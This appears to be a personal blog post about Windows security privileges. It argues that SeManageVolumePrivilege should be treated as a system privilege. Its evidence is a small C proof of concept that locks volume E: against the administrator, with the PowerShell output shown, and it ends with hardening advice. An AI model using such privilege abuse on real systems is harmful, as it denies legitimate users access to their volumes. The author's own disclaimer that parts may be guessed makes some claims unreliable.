Note that absolutely none of this is authoritative or directly based on relevant documentation. It’s mostly what I found and figured out and guessed and (in some cases) made up. Some of it may be wrong or dangerous or lead to disaster or confusion. I am not taking responsibility here for anything. Read and act on it at your own peril!

Windows knows 36, I think, privileges; special rights that can be assigned to a security principal (account or service) that can override ACLs.

Of those 36 privileges, some are considered system privileges because those can be used for privilege escalation. They should not usually be assigned to users but only to services (and perhaps non-user accounts like gMSA) that have to perform the activities those privileges permit. Assuming the system privileges are those that trigger User Account Control (and are removed by it), the system privileges are those:

SeBackupPrivilege (see Backup Operators)
SeCreateTokenPrivilege
SeDebugPrivilege
SeDelegateSessionUserImpersonatePrivilege
SeImpersonatePrivilege
SeLoadDriverPrivilege
SeRelabelPrivilege
SeRestorePrivilege (see Backup Operators)
SeTakeOwnershipPrivilege
SeTcbPrivilege

I don’t know why SeAssignPrimaryTokenPrivilege and SeManageVolumePrivilege are not considered system privileges.

SeManageVolumePrivilege can be used to access files and volumes on a driver level. Specifically volumes can be accessed without requiring access checks. The specific controls that can be used (sent to a volume) appear to be undocumented but I found that fsctl_lock_volume is documented.

To demonstrate, let’s have a volume (drive) E: to which an administrator can write:

PS C:\> whoami
champignac\administrator
PS C:\> New-Item E:\foo


    Directory: E:\


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         5/11/2025  10:14 PM              0 foo


PS C:\>

This is not particularly impressive.

Now, let’s assume user benoit tries to lock volume E: using code like this:

EnablePrivilege(L"SeManageVolumePrivilege");

HANDLE hVolume = CreateFile(L"\\\\.\\E:", SYNCHRONIZE | FILE_TRAVERSE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (INVALID_HANDLE_VALUE == hVolume) { ok = 0; }
Error(L"CreateFile");

HMODULE hNtDll = GetModuleHandle(L"ntdll.dll");
Error(L"GetModuleHandle");
if (NULL == hNtDll) { return 1; }
NtFsControlFile_t file = (NtFsControlFile_t)GetProcAddress(hNtDll, "NtFsControlFile");
Error(L"GetProcAddress");

IO_STATUS_BLOCK io = { 0 };
status = NtFsControlFile(hVolume, NULL, NULL, NULL, &io, FSCTL_LOCK_VOLUME, NULL, 0, NULL, 0);
Error(L"NtFsControlFile");

wprintf(L"Keeping volume E: locked until key is pressed.");
getwchar();
wprintf(L"Key was pressed.");

CloseHandle(hVolume);

Note that the Error() function displays the errors while EnablePrivilege() enables a privilege. Really. Also note that CreateFile() should really be called OpenFile() as it does not necessarily create a file but usually opens an existing file.

If user benoit runs this program without SeManageVolumePrivilege, the result is not exactly impressive:

PS C:\> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== ========
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
PS C:\> .\AbuseManageVolumePrivilege.exe
LookupPrivilegeValue    OK: [1] STATUS: [0], Error: [0]
AdjustTokenPrivileges   OK: [1] STATUS: [0], Error: [0]
CreateFile      OK: [1] STATUS: [0], Error: [0]
GetModuleHandle OK: [1] STATUS: [0], Error: [0]
GetProcAddress  OK: [1] STATUS: [0], Error: [0]
NtFsControlFile OK: [1] STATUS: [-1073741790], Error: [0]
Keeping volume E: locked until key is pressed.
Key was pressed.
PS C:\>

Note that the program is lying. Volume E: was never locked, as the status code -1073741790 is so smugly telling us:

PS C:\> certutil /error -1073741790
0xc0000022 (NT: 0xc0000022 STATUS_ACCESS_DENIED) -- 3221225506 (-1073741790)
Error message text: {Access Denied}
A process has requested access to an object, but has not been granted those access rights.
CertUtil: -error command completed successfully.
PS C:\>

But now let’s have user benoit try this with SeManageVolumePrivilege:

PS C:\> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                      State
============================= ================================ ========
SeChangeNotifyPrivilege       Bypass traverse checking         Enabled
SeManageVolumePrivilege       Perform volume maintenance tasks Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set   Disabled
PS C:\> .\AbuseManageVolumePrivilege.exe
LookupPrivilegeValue    OK: [1] STATUS: [0], Error: [0]
AdjustTokenPrivileges   OK: [1] STATUS: [0], Error: [0]
CreateFile      OK: [1] STATUS: [0], Error: [0]
GetModuleHandle OK: [1] STATUS: [0], Error: [0]
GetProcAddress  OK: [1] STATUS: [0], Error: [0]
NtFsControlFile OK: [1] STATUS: [0], Error: [0]
Keeping volume E: locked until key is pressed.

Status is 0 and no key has yet been pressed. The administrator now finds himself in a rather embarrassing situation:

PS C:\> whoami
champignac\administrator
PS C:\> New-Item E:\bar
New-Item : The device is not ready.
At line:1 char:1
+ New-Item E:\bar
+ ~~~~~~~~~~~~~~~
    + CategoryInfo          : WriteError: (E:\bar:String) [New-Item], IOException
    + FullyQualifiedErrorId : NewItemIOError,Microsoft.PowerShell.Commands.NewItemCommand

PS C:\> icacls e:
e:: The device is not ready.
Successfully processed 0 files; Failed processing 1 files
PS C:\>

This continues until user benoit presses a key and the program closes the handle. After pressing the key, the drive is available again.

I hear that more serious havoc can be caused by abusing the privilege. But a combination of a string sense of responsibility, humility, and extreme ignorance keeps me from writing about it here.

In short, SeManageVolumePrivilege should probably be treated like a system privilege. It should not be given to users but, if requires, directly to services (see Privileged Services) or non-user accounts.

Next: TBD